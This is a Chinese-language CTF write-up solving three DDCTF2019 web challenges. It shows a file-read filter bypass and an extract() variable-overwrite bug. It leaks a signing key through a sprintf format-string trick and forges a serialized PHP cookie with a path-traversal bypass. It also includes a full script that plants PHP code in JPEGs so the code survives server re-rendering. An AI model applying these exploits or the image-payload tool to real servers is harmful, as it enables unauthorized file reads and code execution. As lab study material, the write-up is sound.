DDCTF2019部分web题Write Up

本文主要记录DDCTF2019中部分web赛题的解题过程,仅学习参考使用。

声明:语言表达能力有限,本问仅供学习参考,大佬勿喷!

滴~

1).首先打开题目,url为http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,图中出现两个flag.jpg,和一个心情复杂的表情包。看一下源码,发现应该是将文件内容进行base64编码,然后当作图片的内容输出。

image.png

image.png

2).第一反应是文件包含,jpg参数看不懂。TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,解码看看,通过先进行两次base64解码,再对解码解码进行16进制解码,发现结果为flag.jpg。由此可以知道,文件名需要先进行16进制编码,再进行两次base64编码。

3).尝试读取/etc/passwd,但是好像不能够目录跳转,过滤了/

image.png

4).试一试读取index.php内容,初步猜想,读取源码,进行代码审计。

image.png

image.png

5).将base64部分解码,得到index.php源码如下。

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

6).看来思路没错,接下来看文件代码,发现代码是一些基本的功能输出,并没有解题的线索,唯一吸引注意的是注释部分,发现了一个博客地址。

image.png

打开博客,再别人提示下注意到这篇文章,看到这我不得不吐槽一句,出题人脑子有坑吧,线索在博客中就不说了,你倒是直接链接到这篇文章也行啊,坑爹!接下来看看这篇文章,其实没啥看的,就是linux下文件意外退出,会留下一个.swp交换文件。

image.png

7).那就是文章中说的这个practice.txt.swp隐藏文件吧。于是继续读取文件源码吧,还是将practice.txt.swp文件通过hex()——>base64()——>base64()顺序编码,然后读取内容。

image.png

image.png

image.png

看到了practice.txt.swp里面内容为f1ag!ddctf.php,到这个地方明显离成功不远了,应该就是继续读取f1ag!ddctf.php文件内容了。

8). 之前在读取index.php文件时候,注意以下代码。

1
2
3
4
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';

很明显意思就是文件名在a-zA-Z0-9.中,不能有!,但是下面一行代码是将config字符串替换为!,分析完其实很简单了,要将f1ag!ddctf.php名变成f1agconfigddctf.php就行了。

9).读取f1ag!ddctf.php内容。

image.png

image.png

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

10). 审计f1ag!ddctf.php,发现这个出题人可能脑子短路了吧,在这先说结论,php代码中$content='',因此我们只需要传入uid=即可拿到flag,因为题目本身就不存在名为hello的文件,或者就是hello文件里面为空,所以file_get_contents($k)的值返回false,然后再经过trim()函数,false被转换成空字符串"",因此,传入uid等于空即可绕过判断得到flag。注意此处绝对不能想错了误以为file_get_contents($k)会将返回值复制给变量。因此说出题人本来是想考察extract()变量覆盖的,结果弄巧成拙,代码中即使==换成===仍然成立,这样看来这道题最后还变简单了。

image.png

假如我将$k值覆盖掉为一个存在的文件名config.php,如下:

image.png

看到此处相信都明白我所说的意思了吧,如有疑惑建议亲自动手实践解惑!


WEB签到题
  • 题目地址

    http://117.51.158.44/index.php

  • 解题过程

    1.首先打开题目,如下图所示:抱歉,您没有登陆权限,请获取权限后访问 —–

    image.png

    2.很明显首先要绕过认证才能访问,通过源码信息查看,发现了一个ajax请求,如下所示:

    image.png

    3.发现didictf_username字段可能是一个认证字段,于是走流程抓包发现didictf_username字段,但是不知道名字啊,这个时候就要根据经验了,试试admin吧,果不其然,通过验证,如下所示:

    image.png

    4.通过验证之后显示结果为:您当前当前权限为管理员—-请访问:app/fL2XID2i0Cdh.php

    image.png

    5.下面接着访问app/fL2XID2i0Cdh.php,发现了是两个php文件源码,这就很明显了,接下来就是代码审计,绕过流程,输出flag了。

    url:app/Application.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45

    Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
    $ret = ['errMsg' => $errMsg,
    'data' => $data];
    $ret = json_encode($ret);
    header('Content-type: application/json');
    echo $ret;

    }

    public function auth() {
    $DIDICTF_ADMIN = 'admin';
    if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
    $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
    return TRUE;
    }else{
    $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
    exit();
    }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
    }

    public function __destruct() {
    if(empty($this->path)) {
    exit();
    }else{
    $path = $this->sanitizepath($this->path);
    if(strlen($path) !== 18) {
    exit();
    }
    $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
    }
    }

    url:app/Session.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    include 'Application.php';
    class Session extends Application {

    //key建议为8位字符串
    var $eancrykey = '';
    var $cookie_expiration = 7200;
    var $cookie_name = 'ddctf_id';
    var $cookie_path = '';
    var $cookie_domain = '';
    var $cookie_secure = FALSE;
    var $activity = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
    $this->get_key();
    if($this->session_read()) {
    $data = 'DiDI Welcome you %s';
    $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
    parent::response($data,'sucess');
    }else{
    $this->session_create();
    $data = 'DiDI Welcome you';
    parent::response($data,'sucess');
    }
    }

    }

    private function get_key() {
    //eancrykey and flag under the folder
    $this->eancrykey = file_get_contents('../config/key.txt');
    }

    public function session_read() {
    if(empty($_COOKIE)) {
    return FALSE;
    }

    $session = $_COOKIE[$this->cookie_name];
    if(!isset($session)) {
    parent::response("session not found",'error');
    return FALSE;
    }
    $hash = substr($session,strlen($session)-32);
    $session = substr($session,0,strlen($session)-32);

    if($hash !== md5($this->eancrykey.$session)) {
    parent::response("the cookie data not match",'error');
    return FALSE;
    }
    $session = unserialize($session);


    if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
    return FALSE;
    }

    if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
    $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
    }

    if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
    parent::response('the ip addree not match'.'error');
    return FALSE;
    }
    if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
    parent::response('the user agent not match','error');
    return FALSE;
    }
    return TRUE;

    }

    private function session_create() {
    $sessionid = '';
    while(strlen($sessionid) < 32) {
    $sessionid .= mt_rand(0,mt_getrandmax());
    }

    $userdata = array(
    'session_id' => md5(uniqid($sessionid,TRUE)),
    'ip_address' => $_SERVER['REMOTE_ADDR'],
    'user_agent' => $_SERVER['HTTP_USER_AGENT'],
    'user_data' => '',
    );

    $cookiedata = serialize($userdata);
    $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
    $expire = $this->cookie_expiration + time();
    setcookie(
    $this->cookie_name,
    $cookiedata,
    $expire,
    $this->cookie_path,
    $this->cookie_domain,
    $this->cookie_secure
    );

    }
    }


    $ddctf = new Session();
    $ddctf->index();

分析这两个php文件,仅仅两个类而已,不过本人太菜,分析了1天,第一个文件app/Application.php定义了一个Application类;第二个文件app/Session.php也是一个类,不过这个Session类是继承于Application类,然后最后定义一个对象ddctf,这个对象调用index()函数。大概过程就是这样,比较简单。主要就是里面的东西。接下来稍微具体的分析下两个文件里面功能设计。

第一个文件:首先是定义了一个$path;然后是response()函数,这个函数主要是输出信息的,接着是auth()认证函数,这个就是控制访问权限的,可以看到要想通过认证,必须使$_SERVER['HTTP_DIDICTF_USERNAME']等于admin,即HTTP头部字段didictf_usernameadmin;接下来是sanitizepath()函数,这个函数是对变量path的字符串的过滤,这个地方随后会用的到,开始没想到这个地方;接下来就是类中的析构函数__destruct,可以看到,如果path变量为空,就会退出,path变量长度不是18位也会退出,最后是读取path路径的文件内容并使用response()输出。

第二个文件:继承于上个文件中的类,之前说过,里面开始定义了一些类中变量;下面第一个函数为index()函数,这个文件在这里面也是相当于一个主函数了,里面主要调用的是session_read()session_create()两个函数,同时还使用parent关键字调用使用父类中的response()函数;还有一个get_key()函数,功能是相当于读取../config/key.txt中8位的密钥吧,之前也有提示下面会用到,不过此处有个提示//eancrykey and flag under the folder,提示说的是flag也在这个文件夹下。

具体还是说一下session_read()session_create()两个函数,在index()函数里面,如果请求包里面没有设置cookie就会启用session_create()函数,反之,设置有cookie,就会调用session_create()函数。session_create()函数是创建cookie的函数,里面没什么要说的;session_read()函数是读取cookie,通过分析可以知道,如果我们知道key就可以任意构造cookie了,关键是如何将key值输出。关键代码如下:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

可以看到此处有输出数组,但是关键此处输出只能输出nickname的值,因为nickname的值把%s占位符替代之后,循环到$this->eancrykey时候,就无法输出$this->eancrykey,例如假如post的数据为nickname=zzqsmile,$data就变成了”Welcome my friend zzqsmile”,此时我们要仔细想一想如和才能绕过第一个POST的数据,来输出$this->eancrykey,仔细想下可能会想到吧,就是直接传入%s作为nickname变量的值,这样就能够将遍历到$this->eancrykey的值拼接到$data并通过父类response()函数输出。拿到$this->eancrykey的值就可以随便构造Cookie。

分析到这人已经蒙了,怎么才能输出flag呢?这时候又要回去看Application.php文件中类的析构函数了,析构函数中可以读取$path的文件内容,因此,仅仅需要用心构造好一个cookie,将文件路径写进$path,等到触发析构函数的时候让其输出flag文件内容,此时又需要一个脑洞,通过提示知道文件路径是18位,flag文件和key在一个文件夹下,因此猜想路径为../config/flag.txt,正好18位。但是之前对../进行过滤了,所以在构造序列化对象时候要构造成..././config/flag.txt,分析完之后就开干。

访问app/Session.php文件。

image.png

可以看到开始没有cookie时会设置cookie。

image.png

可以看到图中标记红色部分1a303cbea7ecff312df1cbd194e1def0即是$cookiedata.md5($this->eancrykey.$cookiedata);的结果。这个cookie是通过是一个合法的cookie,那么如果我们将这段合法的cookie带进头部,程序是不是就会读取这段cookie了,这样程序就会执行到session_read()里面,如下:

image.png

没毛病,按照之前分析,下一步得到$this->eancrykey的值EzblrbNS,不过此处要注意的是Content-Type:字段值是否为:application/x-www-form-urlencoded,关键点都已在下图标出。

image.png

得到$this->eancrykey值接下来就写个很low的脚本构造下cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
Class Application {
var $path = '..././config/flag.txt';
}

//$this->eancrykey
$zzz = new Application();
$b = serialize($zzz);
echo "$b";
echo "<br>";
//$b// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}
$a = $b.md5('EzblrbNS'.$b);
echo $a;
//$a// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2
//
echo "<br>";
echo urlencode($a);

//urlencode($a)// O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2
?>

最后成功拿到flag。

image.png


Upload-IMG

1). 按照给的认证用户名,密码进入题目

image.png

image.png

通过测试发现,主要是只能上传图片,题目是通过文件内容中有phpinfo()字符串来决定是否通关的,测试发现,上传的图片是被经过二次渲染的,因此,就要绕过二次渲染,使其phpinfo()内容不发生改变。

2). 直接用据说国外牛人写的脚本制作图片马。

脚本jpg_payload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
  • 使用方法

1). 随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg
2). 使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg

亲测有效,不愧是大佬,稳了一P。

image.png

  • 参考

https://xz.aliyun.com/t/2657


<完>太菜了,只能玩到这了,写的不好别喷,坐等其他Writeup

坚持原创技术分享,您的支持将鼓励我继续创作!